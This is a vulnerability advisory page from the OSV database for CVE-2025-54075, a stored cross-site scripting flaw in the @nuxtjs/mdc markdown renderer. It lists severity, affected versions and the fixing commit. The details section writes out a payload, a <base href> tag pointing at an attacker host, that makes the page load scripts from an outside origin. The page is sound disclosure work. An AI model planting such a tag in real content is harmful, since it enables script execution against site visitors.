CVE-2025-54075

See a problem?
Please try reporting it to the source first.

Source

https://cve.org/CVERecord?id=CVE-2025-54075

Import Source

https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2025-54075.json

JSON Data

https://api.osv.dev/v1/vulns/CVE-2025-54075

Aliases

GHSA-cj6r-rrr9-fg82

Published

2025-07-18T15:47:38.236Z

Modified

2026-04-02T12:53:52.792863Z

Severity

8.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L CVSS Calculator

Summary

mdc vulnerable to XSS in markdown rendering bypassing HTML filter. (N°4)

Details

MDC is a tool to take regular Markdown and write documents interacting deeply with a Vue component. Prior to version 0.17.2, a remote script-inclusion / stored cross-site scripting vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element. The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context. Version 0.17.2 contains a fix for the issue.

Database specific

{
    "cwe_ids": [
        "CWE-79"
    ],
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/54xxx/CVE-2025-54075.json",
    "cna_assigner": "GitHub_M"
}

References

Affected packages

Git / github.com/nuxt-content/mdc

Affected ranges

Type: GIT
Repo: https://github.com/nuxt-content/mdc
Events: Introduced

0 Unknown introduced commit / All previous commits are affected

Fixed

3657a5bf2326a73cd3d906f57149146a412b962a

Affected versions

v0.*

v0.1.0

v0.1.1

v0.1.2

v0.1.3

v0.1.4

v0.1.5

v0.1.6

v0.10.0

v0.11.0

v0.11.1

v0.12.0

v0.12.1

v0.13.0

v0.13.1

v0.13.2

v0.13.3

v0.13.4

v0.13.5

v0.14.0

v0.15.0

v0.16.0

v0.16.1

v0.17.0

v0.17.1

v0.2.0

v0.2.1

v0.2.2

v0.2.3

v0.2.4

v0.2.5

v0.2.6

v0.2.7

v0.2.8

v0.2.9

v0.3.0

v0.3.1

v0.3.2

v0.4.0

v0.5.0

v0.6.0

v0.6.1

v0.7.0

v0.7.1

v0.8.0

v0.8.1

v0.8.2

v0.8.3

v0.9.0

v0.9.1

v0.9.2

v0.9.3

v0.9.4

v0.9.5

Database specific

source

"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2025-54075.json"

Git / github.com/nuxt-modules/mdc